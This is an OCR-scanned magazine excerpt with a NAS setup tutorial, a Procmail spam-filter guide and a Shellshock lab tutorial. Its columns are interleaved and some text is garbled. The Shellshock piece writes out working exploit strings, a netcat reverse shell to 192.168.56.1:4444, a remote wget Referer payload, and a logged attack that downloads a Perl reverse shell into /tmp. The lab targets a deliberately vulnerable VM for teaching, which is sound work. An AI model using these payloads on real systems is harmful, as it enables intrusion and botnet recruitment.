(see the sidebar), but pure Latex will fit the bill as well. 
Packages like musixtex or abc (found in texlive- 


with the beamer package, maintain a bibliography, 
and much more. 

There are books written on Latex, and there's so 
much more that it can do. If you do anything with text, 
you may well have found your new favourite tool. @ 


Dr Valentine Sinitsyn has committer rights in KDE but prefers 


to spend his time mastering virtualisation and doing clever 
things with Python. 
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LINUX OPENMEDIAVAULT: 
ani NAS FOR EVERYONE 


A former FreeNAS developer brings the power of the popular 
FreeBSD-based NAS solution closer home to Debian. 


espite being open source software, the user. The command lists all the connected devices 
WHY DO THIS? D most-popular NAS solution, FreeNAs, is at and the partitions inside them. Identify the plugged-in 
- Access data from best only a cousin of the Linux operating USB disk from the list and make note of Its device 
any computer on the system. It's based on FreeBSD, uses the ZFS name, such as /dev/sdb. Now assuming your USB 
ieee. filesystem, and is more suitable for large-scale disk is /dev/sdb and the OMV image is under your 
’ este es enterprise-wide deployments than the sort of home home directory, the command dd if=~/ 
lots of storage but low projects beloved of Linux users. If you're a Linux user openmediavault_1.0.20_amd64.iso of=/dev/sdb 
processing power. ooking for a simple but effective tool for housing and —_ bs=4096 will transfer it on to the USB disk. You can 
* Create data redundancy managing data, the Debian-based OpenMediaVault then use this media to install OMV on to a hard disk. 
pede ce i OMV) is a better bet. OMV needs a 2 GB hard disk for installation. But 
array. OMV is developed by a former FreeNAS developer, remember that you can't store data on this drive. So 
and is designed to cater to the average home office even if you install OMV on a 20 GB,disk you'll not be 
user. Unlike other solutions, OMV is straightforwardto able to use it to keep data. If you can't find a 2 GB hard 
oll out and simple to manage. Its browser-based user disk, the OMV website suggests using a CF Card ora 
interface is also more suitable for non-technical users. — USB drive for installing OMV. However, if you use 
You can connect to it via all the popular services, such — removable for the OMV installation, make sure it's got 


as SSH, SMB/CIFS, FTP rsync, etc. The distro is static wear levelling so the constant filesystem access 
modular and can be extended with a variety of official doesn't have an adverse effect on its lifespan. 


and third-party plugins. For instance, you can turn the 
AS into a torrent client to download data directly into Web interface 
the NAS storage or use it to stream stored music. Installing OMV is pretty straightforward. The setup 
OMV has recently hit version 1.0 and is available as wizard will prompt you for the keyboard layout and the 
an installable 361 MB ISO image. The distro doesn't language. You'll then be asked to choose a hostname 
have exotic hardware requirements, and you can and the domain name for the NAS device. The 
install tt on an old unused computer with just 1GB of hostname helps identify this computer on your 
; RAM. If you have multiple hard disks, you can ask network. Unless you're familiar with the settings of 
ae OMV to organise the disks into a RAID array. your network, it's best to go with the default values. 
enearthe factupos Gf You can burn the downloaded OMV image on to an Once you've configured the network, you need to 
the 1.0 release is better optical disc or transfer it onto a USB drive with the dd specify a password for the NAS administrator. This is 
performance on this command. First, plug in a USB drive and find out its the password for the root user on the OMV 
resource-strapped device. —_ location by running the fdisk -I command as the root installation. Do not confuse this root user with the 
admin user that you will use for logging into the 


JpenMediaVault 1.0.20 (Kralizec) openmediavault tty1 web-based interface o manage the NAS device. 
Copyright (C) 2009-2014 by Volker Theile. All rights reserved. Next up is the parti ioning s ep, which isn'tas 
To manage the system visit the OpenMediaVault web management involved as | is in a typical Linux dis o installation. ; 
interface via a web browser: That's because OMV is designed to take over the entire 
disk. In fact, if you have just one disk attached to the 
computer, the installation wizard will automatically 
> default web management interface administrator account has copy files into i But if you have mul iple disks 
. : 
a 


92.168 .3.103 


apes Ti AL te a tached, which is more likely, the wizard will show you 
menu and ask you to select the disk on which you 


is recommended that you change the password for this account 


via the web management interface or using the ’omv-firstaid’ 


CLI command . wish to install OMV. It'll display the size of the disks 


for more information regarding this appliance, please visi along with their mountpoints, so make sure you select 
the web site: http:/7/www.openmediavault .org the smallest one listed. 

Once it's done copying the files, the wizard will ask 
you to select the closest Debian mirror from a list. This 
is required, since OMV is based on Debian and it needs 
to regularly fetch updates from the Debian repository 
to make sure your OMV install is in prime condition. 


ipenmediavault login: _ 
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That takes care of the installation. You can now 
remove the installation medium and restart the 
computer. It'll boot into the OMV installation and drop 
you to the login shell, but you don't need to log in here. 
OMV will also display the IP address of this machine. 
Enter this address inside a web browser on any 
computer on the network to access OMV's web 
interface, from which you can manage all aspects of 
OMV remotely. So once you're done installing it, you 
can disconnect the monitor and keyboard and run this 
computer as a headless NAS server. 

The default login credentials for the web interface 
are admin:openmediavault. After logging in, the first 
order of business should be to change these default 
credentials. In the navigation menu on the left, head to 
System > General Settings. Now switch to the Web 
Administrator Password tab, enter the new password 
in the appropriate textboxes and click on the Save 
button to update the password for the admin user. 

The navigation panel on the side of the screen is 
divided into several sections. The System menu 
enables you to configure several aspects of the NAS 
server, such as the web admin's password, the server's 
date and time, set up scheduled jobs, enable plugins 
(see box) and keep the system updated. 


Configure storage 

Next up in the navigation panel is the Storage section. 
As previously mentioned, you can use OMV to 
manage multiple physical disks individually or tie 
them into a RAID device that uses the different disks 
for added fault tolerance. While it defaults to RAID 5, 
OMV supports all the popular RAID levels. 

If you aren't familiar with RAID, here's a quick 
lowdown. RAID has multiple levels, and each RAID 
level has a different purpose, which also dictates its 
disk requirements. For example, to create a RAID 1 
that mirrors data across drives, you need a minimum 
of two disks. However, RAID 5 needs a minimum of 
three drives and distributes the data across the disks 
so that no data is lost even after the failure of a drive. 

To view all the disks attached to the OMV NAS 
computer, head to Storage > Physical Disks. If you plan 
to use them individually and not as a RAID, you must 
format the disks from this page, which will erase them 
and also create a partition table. Select the drive and 
click the Wipe button. OMV can erase the disk securely 
or quickly. The former is slower but ensures that data 
recovery tools won't be able to carve data from the 
drive. Use this method when you need to remove a 
drive. The quick delete method is sufficient when 
adding a new drive to the OMV server. If you 
hotplugged your drive and it isn't listed, use the Scan 
button to ask OMV to look for new disks. After you've 
erased a drive, head to Storage > File Systems to 
create a filesystem on the drive. 

However, if you wish to arrange the disks into a RAID 
device, head to Storage > RAID Management and click 
the Create button. In the dialog box that pops up, 
select the devices you want to use in the RAID as well 
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as the RAID level. Then enter the name you wish to 
use for the RAID device in the space provided and click 
he Save button. If you don't have the minimum 
number of disks required for the selected RAID level, 
OMV will not allow you to proceed. It will also display 
he minimum number of disks in a tooltip. 

After you've created a RAID, OMV will ask you to wait 
until the RAID has been initialised before you proceed 
o the next step and create a filesystem. You'll also get 
a notification to save the changes in order for them to 
ake effect. In fact, you'll get this notification every time 
you make configuration changes to OMV. The RAID 
Management page will now list the newly created 
RAID device. Keep a close eye on the State column for 
his device, as you'll only be able to proceed once it's 
done syncing the device. 

To use the physical disks or the RAID array you need 
o create a filesystem. 
Head to Storage > 
Filesystems and click on 
the Create button. In the 
dialog box that pops up, 
select the device you 
want to format using the 
pull-down menu, which 
will list individual drives that you have wiped as well as 
any RAID devices. By default the drives are formatted 
as EXT4 but you can select a different filesystem using 
the pull-down menu. Besides EXT4, OMV supports the 
EXT, XFS and JFS filesystems. 

After selecting the storage device and its filesystem, 
enter a name for the volume in the space provided and 
click the Save button. If you are using multiple physical 
disks individually and not as a RAID device, remember 
to create a filesystem on each of the disks. 

After the filesystem has been created, and the disk 
has been initialised, press the Mount button to bring 
the disk online. 


Regulate data access 

Before you can store data on the NAS device, you'll 
have to create one or more users. Head to Access 
Right Management > User. The Add button on this 
page Is a pull-down menu that lets you either add 
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To keep OMV updated, 
head to System > Update 
Manager. Select all the 
updates listed here and 
click the Install button 

to download them from 
OMV’s online repositories. 


“To create a RAID 1 that 
mirrors data across drives, you 
need a minimum of two disks.” 
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The Diagnostics tab 
enables you to monitor 
the state of the OMV NAS 
server in great detail. 


[=] CpenMediaVault 


open network attached storage solution 
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individual users or import a bunch of users by adding 
them in the specified format. When adding an 
individual user you can also add them to an existing 
group. By default all users are added to the Users 
Group. You also get an option to prevent a user from 
making changes to their own account. 

If you wish users to have their own home directories 
in the OMV server, switch to the Settings tab and mark 
the checkbox to enable the home directory for the 
user. You'll also have to specify the location for the 
home directory by selecting an existing shared folder 
on the NAS server or creating a new one. 

Next you'll have to add a shared folder. Depending 
on how you plan to use the NAS, and whether it'll be 
used by a single individual or by multiple users, you 
can create one or more folders with varying user 
permissions to meet your requirements. 

To add a folder, head to Access Rights Management 
> Shared Folders and click the Add button. In the 
dialog box that pops up, select the volume in which 
you wish to create the folder from the pull-down list. 
Then give the shared folder a name, such as Files, and 
enter the path of the folder you wish to share, such as 
file/. Since this is a newly formatted disk, OMV will 
automatically create the folder you specify here. You 
can also optionally add a comment to describe the 
type of content the folder will hold. 

Play close attention to the Permissions setting. By 
default, OMV will only allow the administrator and any 
users you've added to read and write data to this 
folder, while others can only read its contents. This is a 
pretty safe default for most installations, but you can 
select a more restrictive or a more liberal permission 
setting from the pull-down list. 

Even if you select the default Permissions setting 
when creating folders, which lets all users read and 
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write data to the folder, you can fine-tune the access 
permissions and disable certain users from accessing 
or modifying the contents of a particular folder. For 
this, after adding a user, head to the Shared Folders 
section, select the folder that you want to control 
access to and click the Privileges button. This will open 
a window with a list of all the users you've added, 
along with checkboxes for controlling their access to 
that folder. 


Enable shares 

With the users and shared folders set, you're now 
ready to share the NAS storage with your network. 
The only thing left to do is enable a network service 
that users will use to access the shared folders on the 
NAS. OMV supports various popular protocols and 
services, including NFS, SMB/CIFS, FTP TFTP. SSH, 
rsync and more. 

We'll use the SMB protocol popularly known as 
Samba, as it's supported by all popular operating 
systems and even works across devices. To share 
folders via Samba youll first have to enable the service 
in OMV. Head to Servers > SMB/CIFS and in the 
General settings section under the Settings tab toggle 
the Enable checkbox. The other settings in the page 
are optional. When you're done, click the Save button 
to save the changes. 

Next, you'll have to add the shared folders as Samba 
shares. To do this, switch to the Shares tab and click 
the Add button. In the window that pops up, select a 
shared folder from the pull-down list or click on the 
green + button to create a new one. You'll also have to 
give the folder a name, which will identify the folder on 
the network. 

When adding a Samba folder, OMV will make sure it 
follows the permissions defined when you created the 


In addition to the core functionality you can 
teach OMV new tricks via official and 
third-party plugins. Head to System > Plugins 
to browse the list of 11 officially supported 
plugins, which are included with the base 
install but not enabled by default. 

One interesting plugin is the forked-daapd 
plugin, which will let you stream the music 
stored on your NAS device to other 
computers on the network. To use it, select it 
from the list of plugins and click the Install 
button. This will fetch the plugin from OMV's 
online repositories. After the plugin has been 
installed, you'll now notice a new entry under 
the Services section called iTunes/DAAP. 

Before you can use it, you'll need to 
configure the service by pointing it to the 
shared folder on the NAS that contains the 
music files. To listen to music over the 


network, use a player that automatically picks 
up and tunes into DAAP streams, such as 
Rhythmbox, Amarok, Banshee, Kodi, etc. You 
can also pick up the stream on an Android 
device using the DAAP Media Player app. 

In addition to the official plugins, you also 
have access to a variety of third-party 
plugins made by the omv-extras.org project. 
To install these plugins, SSH into the OMV 
machine and download the repository 
package with wget http://omv-extras.org/ 
debian/pool/main/o/openmediavault- 
omvextrasorg/openmediavault- 
omvextrasorg_1.0.7_all.deb. Once 
downloaded you can install it with dpkg -i 
openmediavault-omvextrasorg_1.0.7_all. 
deb. Now log into the web interface, and the 
third-party plugins will be listed under the 
System > Plugins section. 
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The OMV-Extras plugin repository also adds an OMV- 
Extras.org entry under the System section, from which 
you can install plugins that haven't been tested yet. 


shared folder in the NAS. By default the folders are not 
Public, but if you wish to make the folder accessible to 
everyone, select the Guests allowed option from the 
Public pull-down menu. Also, if you select the Set 
Read Only checkbox, OMV will ensure that no user can 
modify the contents of the folder. 

One Samba setting that might save you in the future 
is the Recycle Bin. It's not enabled by default, so when 
auser deletes a file it's zapped from the NAS 
permanently. When the Recycle Bin setting is enabled 
the deleted file will be moved into a virtual Recycle Bin 
inside the shared folder. Additionally, you can specify 
the time that needs to elapse before files are 
permanently deleted from the share. If you have 
multiple shared folders you'll have to add them as 
separate Samba shares. Save the configuration when 
you've added them all to restart the Samba service. 

That's all there's to it!. You should now be able to 
access all the shared folders you've created on the 
NAS device from any computer on the network, 
irrespective of whether they reside on an individual 
disk or a RAID array. You can either use your file 
manager's built-in Network feature to access the 
network shares or enter the IP address of the NAS 
device in the location area, such as: 
smb://192.168.2.101. You'll be prompted for a 
username and password before you can access the 
folders, unless of course you have marked them as 
public when adding them via Samba. Enter the 
credentials of the user that has the appropriate 
permission to access the folder. Once verified, OMV 
will mount the shared folder. You can now upload files 
into the shared folder or delete them, if you have the 
permission, just like in a regular folder. 


Enable other services 

While Samba is a wonderful protocol to access the 
NAS server, there are a couple of other services you 
should enable to make better use of your NAS server. 
One of the first services you should enable is the SSH 


service. Once it's enabled, you can remotely log in 
to your OMV installation and manage it from the 
command line. Head to Services > SSH and click 
the Enable checkbox followed by the Save button. 
If there is a new release available, you can use the 
omv-release-upgrade command to switch to the 
new version. 

If you wish to use the NAS as the target location for 
storing backups, you should enable the FTP service as 
well. Almost every backup solution will let you save 
backups to a remote location via FTP. 

To enable the FTP service, head to Services > FTP. 
The default FTP settings should work for most users, 
so you can Safely select the Enable checkbox to 
activate the service. Now switch to the Shares tab and 
click on the Add button to add a shared folder for 
storing backups. Here you can pick an existing folder 
from the list of shared folders on the NAS device or 
add a new one by clicking on the + icon. 

One thing you have to ensure is that your user has 
read/write permissions on this folder. To check or 
change a newly created shared folder’s permissions, 
head to Access Rights Management > Shared Folders. 
Highlight the folder and click on the Privileges button 
to configure the permission for individual users. Once 
you've done all this you only need to configure your 
backup app to point to the NAS device. Depending on 
the backup app’s permission you'll be prompted for the 
login credentials of the user that has access to the 
backup folder. 

Open Media Vault is a wonderfully versatile NAS 
solution that’s just hit the psychologically important 
1.0 version. It's got the right amount of features to be 
of use to a wide variety of users yet isn't too 
complicated and cumbersome to setup and 
administer. Give It a go — it's a world beater. @ 


Mayank Sharma has been tinkering with Linux since the 90s 


and contributes to a variety of technical publications on both 
sides of the pond. 
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BEN EVERARD 


WHY DO THIS? 


* Discover how the most 
dangerous vulnerability 


of 2014 works. 


+ Protect your machines 
from Shellshock. 


+ Run your first 


penetration test and 
learn how hackers break 


into servers. 


All our Linux machines 
were vulnerable to 
Shellshock, but patching 


them was easy. 
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SHELLSHOCK: BREAKING 


INTO BASH 


Hack into a server using the latest Bash exploit, see how it works, 
and congratulate yourself that you've updated — haven't you?... 


n Thursday 25 September, we awoke to news 
O of a dangerous vulnerability in Bash affecting 

almost all Linux systems. It has already 
acquired the nickname Shellshock. The news had 
been released during the day in America while we 
were out of the office, and was already several hours 
old by the time we heard it on Friday morning. A patch 
had been released, so all we had to do was log into 
our servers and run yum update bash to secure our 
systems. Later on that day, our server's logs were full 
of people trying to exploit this bug — but what was it, 
why was it so dangerous, and how did a vulnerability 
ina Shell lead to servers being compromised? 

We're going to answer these questions by taking a 
look at a virtual machine that we've created to be 
vulnerable to this particular exploit. You can download 
it from www.linuxvoice.com/shellshock. It's an OVA 
file, So you can import it straight into VirtualBox. 

The virtual machine should be imported with a host- 
only network, which means that it's only accessible 
from the machine Virtua/Box is running on. However, 
for this to work, you'll need to set up a host-only 
network if one doesn't already exist. Go to File > 
Preferences > Network > Host-Only Network, and if 
there's no entry in the list, click on the + icon to create 
one. Then press OK. The virtual machine is currently 
set to use 2GB of RAM. If you have less than 4GB on 
your machine, it's probably worth reducing this until 
it's about half of the amount of RAM in the system. 

With this set up, boot the machine, and it should log 
you into an Ubuntu Unity session (the username/ 
password is ben/password, but you shouldn't need 
this). You can check that the machine is vulnerable to 
Shellshock by opening a terminal (click on the Ubuntu 
logo, type terminal, then click on the icon) and 
entering the following: 
env x="() { :;}; echo ‘vulnerable” /bin/bash -c “echo test” 

You can also try this on your local machine to make 
sure it's properly secure. If your machine is vulnerable, 
you should see the following output: 


> 


ben@ben-laptop: ~ 


www.linuxvoice.com 


vulnerable 
test 

If you get this output on a system other than our 
vulnerable virtual machine, you should update Bash 
using your package manager. If your machine isn't 
vulnerable, you should see something like this: 
/bin/bash: warning: x: ignoring function definition attempt 
/bin/bash: error importing function definition for *x’ 
test 

Let's first take a look at what this attack does. Bash, 
like most Unix shells, lets you create variables and 
export them to the environment. These environmental 
variables are a bit like global variables in programming 
languages, because you can access them from any 
code running in the shell. If you spawn another shell 
from your current one, these environmental variables 
are included there as well. 


How it works 

You can see all the environmental variables in a 
particular shell with the command env. Most (or 
possibly all) of these will be text strings containing 
data about the particular configuration. However, it's 
also possible to create environmental variables that 
contain functions. 

These functions are then available to everything 
running in the shell. The crux of the Shellshock bug is 
that if an environmental variable contains the text for 
a function and also some code after the end of the 
function, that code after the function will be executed 
when a new shell is created. The exploit code above 
contains three parts: 
env X= 
The first part uses env to create a modified 
environment, then in this new environment create the 
variable x and sets it to the variable contained in the 
second part 

The next part is itself in two parts. 
“() {3}; echo ‘vulnerable” 

The funny sequence of symbols at the start — () { 
3}; — is just an empty function with no name. It 
doesn't do anything, but it's there to make Bash 
recognise that the particular bit of code as a function. 
The second part — echo ‘vulnerable’ — comes after 
the function finishes. This is what's executed when a 
new shell is spawned. The final part simply spawns a 
new shell in the modified environment (it's the second 
parameter to the env command): 

/bin/bash -c “echo test” 
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The above is the standard code for checking for D 
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Shellshock, because it won't leave anything awkward 
in the environment after you've run it; but it uses env, 
which is a slightly unusual command. Many people 
will find the below way of exploiting Shellshock a little 
more familiar: 

export x="() { :;}; echo ‘vulnerable” 

bash -c “echo ‘test” 

You should find that the first command doesn't 
output anything, but the second gives the same 
output as above. It works in the same way. 

This is a type of vulnerability called code execution. 


ben@ben-laptop: ~ 


It means an attacker can run anything they want to on 
your computer. Let's now take a look at how an : . 

; ; This attack gives us 
attacker could use it to gain command line access to to run the command. All you need to do to anpase tothe user 
your machine. compromise the server using Shellshock is send a www-data, which has 

First, you need to know the IP addresses of both request for this page with an HTTP header that enough privileges to 
your machine and the vulnerable virtual machine. contains an exploit string. You can do this in many send spam, DDOS attack 
They should be 192.168.56.1 and 192.168.56.101 ways, but the easiest is with wget: another server or even 
respectively, but it's worth checking by running wget --referer ‘() { =; }; /bin/nc.traditional -e /bin/sh 192.168.56.1 "un Shellshock attacks on 
ifconfig at the command line (you're looking for the IP 4444’ http://192.168.56.101/test.php other servers. 
address in the vboxnet0 block). This uses the referer HTTP header value, but there are 

First you need to prepare the host machine (ie not plenty of others that would also work. 
the virtual machine) to receive access once you've run It uses the same reverse shell we used earlier (you'll 
the exploit. This is done by entering the following: need to have a listener set up before running it), but 
ne -1 4444 this time you can launch it entirely from the host 

You'll need to install ne from your package manager computer and it will log into the vulnerable virtual 
if it's not already installed. The exploit code to run on machine. This is only one way of exploiting 
the virtual machine is then: Shellshock. There are other ways of triggering It 
env x="() { :;}; /bin/nc.traditional -e /bin/sh 192.168.56.1 4444"/ — remotely, such as through malicious DHCP calls from 
bin/bash -c “echo test” a router, which may be more 

Of course, we could just have run the reverse shell likely to work on desktop “ = 
command without nein with Shellshock. The real machines than the method The real danger IS that 
danger isn't from within a Bash session, but that we've looked at here. Shellshock can be triggered 
Shellshock can be triggered by a remote hacker. Almost as soon as the ” 

Shellshock vulnerability by a remote hacker. 
How to use it came to light, people started a 
To be able to exploit Shellshock, you need to find a scanning the web for vulnerable servers. 
way of injecting environmental variables into Bash, Here's an excerpt from www.linuxvoice.com's 
and a way of spawning shells. This is actually easier server log: 
han it sounds, because in some configurations, web 109.95.210.196 - - [26/Sep/2014:14:23:31 +0100] “GET / 
servers will do all it for you. cgi-sys/defaultwebpage.cgi HTTP/1.1” 301 - “-” “() { :;}; /bin/ 

When you're browsing the web and request a web bash -c \"/usr/bin/wget http://mormondating. site/firefile/ 

page from a server, you send various bits of data, like temp?h=linuxvoice.com -0 /tmp/a.pl\”” 

a bit of text identifying the browser you're using and As you can see, it’s requesting the web page www. 
he cookie are just strings of text that you can put linuxvoice.com/cgi-sys/defaultwebpage.cgi (this 
anything in. If the website uses CGI (computer doesn't exist, but it's scanning large numbers of sites 
generated images) to create the website, it passes for common web addresses), and trying to execute 
his data to an environmental variable in the shell. If the code: 

some code used to generate the web page spawns a _/bin/bash -c \"/usr/bin/wget http://mormondating. site/firefile/ 
shell, you can use this data to launch an attack. temp?h=linuxvoice.com -0 /tmp/a.pl\ 

Our server uses PHP in CGI mode (most serve The page http://mormondating.site/firefile/temp 
configurations don't), and Bash as the default contains a Perl script that’s a more robust reverse 
/bin/sh (again, this isn't standard). With this set up, we shell than the one we used above. This attack wasn't 
created a simple test file called test.php that spawns conducted by the people running mormondating.site, 


a shell when it creates a web page that gives but by someone who's already compromised their 
information about the machine's network connection: server. These attackers are using each compromised 
<?php passthru(“ifconfig’); server to scan for more vulnerable servers and so 


The passthu() PHP function executes acommand, build up a botnet of servers based on Shellshock. 
then sends the output back to PHP. This uses /bin/sh —_ You've been warned — update now! @ 
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JOHN LANE 


WHY DO THIS? 
* Teach your mailserver to 


keep your inbox Nigerian 
prince-free. 


* Prevent viruses from 
using your emails as a 
transmission vector. 


* Control the way you 
communicate! 
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PROCMAIL: ADD A SPAM FILTER 


aie TO YOUR EMAIL SERVER 


Filter unwanted mails, keep your inbox clean and make sure you 
don't pass any viruses on to your Windows-using friends. 


ast month, we used Arch Linux to build a mail 
L server. It accepts incoming mail and delivers it 

to users’ mailboxes so that they can read it with 
their favourite IMAP email client. But it accepts all 
mail, including unwanted spam and virus-ridden ones. 
This month, we'll add filtering capabilities to our server 
to help prevent undesirable messages finding their 
way into our users’ mailboxes. 
Our server can receive mail in two ways: its Mail 
Transfer Agent (MTA) accepts mail directly from the 
internet and its Mail Retrieval Agent (MRA) downloads 
mail from other external mail servers. We used Postfix 
for our MTA and Fetchmail for our MRA. 
We'll configure a new Mail Delivery Agent to filter 
mail from both channels, either delivering it to our 
IMAP server (also an MDA) or to reject it. We'll use 
Procmail for this new MDA. Install it from the repository 
(we're using Arch Linux for this project): 
$ pacman -S procmail 

The objective of our new MDA is to perform 
system-wide mail filtering. The system-wide filters will 
remove spam, viruses and so-on. 

Procmail takes tts instructions from a file, usually 
called /etc/procmailre. Create a basic file to begin with 
that just delivers all mail: 
LMTP_DELIVER="/usr/lib/cyrus/bin/deliver -a $MAILBOX” 

NL=”" 


:0w 
| SLMTP_DELIVER $MAILBOX 
EXITCODE=$? 
:0 
/dev/null 
The first line sets up our Cyrus-IMAP delivery 
command-line. The NL variable contains a newline 
character that we'll use later on when writing to the log 
file. The blocks beginning with :0 are recipies — the 
first recipe delivers mail and the second one tells 
Procmail to dump the message before exiting with an 
error code. 
Procmail's processing stops once a delivering recipe 
succeeds, so the second recipe would only be invoked 
if there were a problem with delivery. Although 
Procmail dumps the message when there is an error, 
the agent that invoked Procmail would react to its 
non-zero exit code by bouncing the message. 
You can verify that Procmail works by sending a test 
message through it and checking that it appears in our 
test user's inbox: 
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$ procmail MAILBOX=testuser < testmessage 


It's black and white 


The simplest filters we can apply either accept or 
block messages from specific senders. We can create 
static files containing email addresses or domains 


and then use those fi 


les as black- and white-lists. Add 


these recipes into the \ete\procmailre before the 
existing delivery recipe: 


0 


*2 formail -x “From” -x “From:” -x “Sender:” \ 
-x “Reply-To:” -x “Return-Path:” -x “To:” \ 
| egrep -is -f /etc/procmail/whitelist 


{ 
LOG="whitelistedSNL” 
0f 


| formail -fA “X-Whitelisted-$$: Yes” 


} 
0 


* $14X-Whitelisted-$$: Yes 

*2 formail -x “From” -x “From:” -x “Sender:” \ 
-x “Reply-To:” -x “Return-Path:” -x “To:” \ 
| egrep -is -f /etc/procmail/blacklist 


{ 
LOG="blacklisted$NL” 
0 
/dev/null 

} 

We can then black! 
and whitelist a user, s 
entries in the black- a 
the recipes. The rules 


ist a domain, say example.com 
ay bob@example.com by writing 
nd white-list files referenced by 
write a log message when they 


match. You write to the Procmail log by assigning to 


the LOG variable. 


Whitelisted messages are marked by adding a 
header, X-Whitelisted, suffixed with Procmail's process 
ID so later recipes can ignore similar headers that we 


didn't set. The formai 
Procmail package is u 
headers. The blacklis 


I command that is part of the 
sed to read and write message 
passes messages that have this 


header and otherwise discards messages that match 


the blacklist rule. We’ 
absence of the white 
We can take blackli 


| also use the presence or 
ist header in other rules later on. 
sting a step further and make 


use of Realtime Blackhole Lists, or RBL. These are 
DNS-based address blacklisting databases, also 
known as DNSBL, that contain IP addresses of known 
sources of unsolicited bulk email (spam). There is a 


small utility that chec 


ks an IP address against various 
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blacklists. Install its package: 
$ pacman -S rblcheck 
You invoke rbicheck with a list of IP addresses and it 
checks them against lists provided by sorbs.net, 
spamhaus.org, spamcop.net and some others. It 
returns a non-zero exit status if a given address is 
blocked (it also echoes the blocked addresses to 
standard output). You can use it like this: 
$ rbIcheck -qm 27.20.121.36 
You need to extract the IP addresses from the 
message header. One way to do this is with a little 
Bash script, saved as /etc/procmail/header_ip that 
reads message headers from its standard input: 
#/bin/bash 
while read line 
do 
if [[ Sline =~ \[([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)\] J] 
then 
ip=${BASH_REMATCH|1]} 
[[ Sip =~ *127\.0/410\.|*192.168\. ]] || echo -n “Sip “ 
fi 
done 
Don't forget chmod +x to make it executable. A new 
recipe uses the script and the rbIcheck tool to drop 
mail from addresses on these blackhole lists unless 
they have also been whitelisted: 
0h 
HEADER_IP=|/etc/procmail/header_ip 
0 
* $4X-Whitelisted-$$: Yes 
*1 2 if [ -n “SHEADER_IP” J; then rblcheck -qm SHEADER_IP; fi 
{ 
LOG="blackholed$NL’ 
0 
/dev/null 
} 


Meet the Assassins 

Using realtime blackhole lists prevents a lot of spam 
from reaching users’ mailboxes but some will still get 
through. We need some additional help and it comes 
in the form of SpamAssassin, which detects spam, and 
ClamAV, which detects viruses. Begin by installing the 
required packages: 


Is Procmail dead? 


The last update to Procmail happened on 10 September 
2001, quite a long time ago, with the release of version 
3.22. Despite this, it is still very widely used and it has been 
claimed that it does what it needs to do and requires no 
more development. There are lots of Procmail examples 

on the internet and the procmail-users mailing list is still 
active. We've used Procmail for mail filtering because it 

is well documented and there is a lot of information and 
community support online. It is also well suited to use with 
our MTA, MRA and MSA, so has everything covered. 

If Procmail's status bothers you, consider alternatives 
like MailDrop (www.courier-mta.org/maildrop) or mail filter 
applications that interface to Postfix (of course, these won't 
work if you need to filter mail through a mail retrieval agent 
like Fetchmail). 


im Mailserveriroot 
[root@mailserver ~]$ sa-learn --dump magic 
®.000 12} 3 Q non-token 
. 000 2751 non-token 
non-token 
non-token 
non-token 
non-token 
non-token 
non-token 
non-token 
non-token 


: bayes db version 

: nspam 

> nham 

: ntokens 

: oldest atime 

: newest atime 

: last journal syne atime 

: last expiry atime 

: last expire atime delta 

: last expire reduction count 


- 000 
000 
. 000 


3967 
146578 
1366108015 


Q 
1388610851 
22118400 
26733 


. 000 
. 000 
000 
root@mailserver ~]$ 


Q 
ie) Q 
2) Q 
10) Q 
2.000 @ 1408190761 
®.000 Q 
ie) Q 
ie) Q 
2) Q 
[ 


eeo0o0000000o 


Keep an eye on your Bayes 


$ pacman -S spamassassin razor clamav database. 


$ pacman -U ~build/clamassassin/clamassassin-1.2.4-5-any. 
pkg.tar.xz 
$ pacman -U ~build/pyzor/pyzor-0.8.0-1-any.pkg.tar.xz 
$ pacman -U ~build/dec/dec-1.3.155-1-x86_64.pkg.tar.xz 
ClamAssassin uses ClamAV to virus-check email and 
adds headers to messages found to contain viruses. 
Its config file is installed to /etc/clamav/clamd.conf; 
adjust it to include these definitions: 
LogSyslog yes 
LogFacility LOG_MAIL 
LogTime yes 
PidFile /var/run/clamav/clamd.pid 
TemporaryDirectory /tmp 
DatabaseDirectory /srv/mail/clamav 
LocalSocket /var/lib/clamav/clamd.sock 
User clamav 
A separate daemon called freshclamd updates the 
virus database. Review its configuration, in 
/etc/clamav/freshclam.conf too: 
LogSyslog yes 
LogFacility LOG_MAIL 
DatabaseDirectory /srv/mail/clamav 
DatabaseMirror db.UK.clamav.net 
DatabaseMirror database.clamav.net 
NotifyClamd /etc/clamav/clamd.conf 
Create the virus database directory, start the ClamAV 
services and freshclam will download the virus 
database: 
§ mkdir -m 700 /srv/mail/clamav 
$ chown clamav: /srv/mail/clamav 
$ systemctl enable clamd freshclamd 
$ systemctl start clamd freshclamd 
You can test your ClamAV installation without 
exposing your system to real viruses. You can instead 
download files containing the EICAR test string and 
use those for testing: 
$ mkdir /tmp/eicar && pushd /tmp/eicar 
$ wget https://secure.eicar.org/eicar.com 
$ wget https://secure.eicar.org/eicar_com.zip 
$ wget https://secure.eicar.org/eicarcom2.zip 
$ popd && clamdscan /tmp/eicar 
- - --- SCAN SUMMARY - - - -- 
Infected files: 3 
$ clamassassin < /tmp/eicar/eicar.com 
X-Virus-Status: Yes 
X-Virus-Report: Eicar-Test-Signature FOUND 
We need to add a Procmail recipe that uses 
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Greylisting makes spam 
go away. 


Image source:http://postgrey. 
schweikert.ch 


V PROTIP 


Use the freshclam 


command to update 
the virus database 
on-demand. 
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= 
= 
= 
ee 
wa 
oa 
val 
= 
Fri Sat sun 
DB Viruses total: 19250 msgs avg: 1.88 msgs/min max: 
Bi Spam total: S9976 msgs avg: 5.92 msgs-min max: 


clamassassin to detect viruses. 
:0 wf 
| /ust/bin/clamassassin 

Any messages containing detected viruses will have 
an X-Virus-Status header added. We use this header 
in another Procmail recipe to deliver into a quarantine 
folder. Insert it just before the one that delivers clean 
mail: 

:0w 
* *X-Virus-Status: Yes 
| SLMTP_DELIVER -m Virus SMAILBOX 

You can also download a test email that has an 
attachment containing the EICAR virus and use it to 
test your Procmail configuration. Use your email client 
to create a Virus folder first. 
$ wget https://bit.ly/eicar-testmail 
$ procmail MAILBOX=testuser < eicar-testmail 

SpamAssassin is a spam filter that uses various 
techniques to detect spam. These include message 
fingerprinting services, like Vipul’s Razor, Pyzor and the 
Distributed Checksum Clearinghouse (DCC), and 
Bayesian Filtering that can learn what spam looks like 
if known spam is fed into it. 

SpamAssassin's default configuration performs 
Bayesian Filtering and will also use Pyzor and Razor if 
they are available. They need some configuration lines 
added to /etc/mail/spamassassin/local.cf. 
bayes_path /srv/mail/spamassassin/bayes/bayes 
bayes_file_mode 0666 
pyzor_options --homedir /etc/mail/spamassassin 
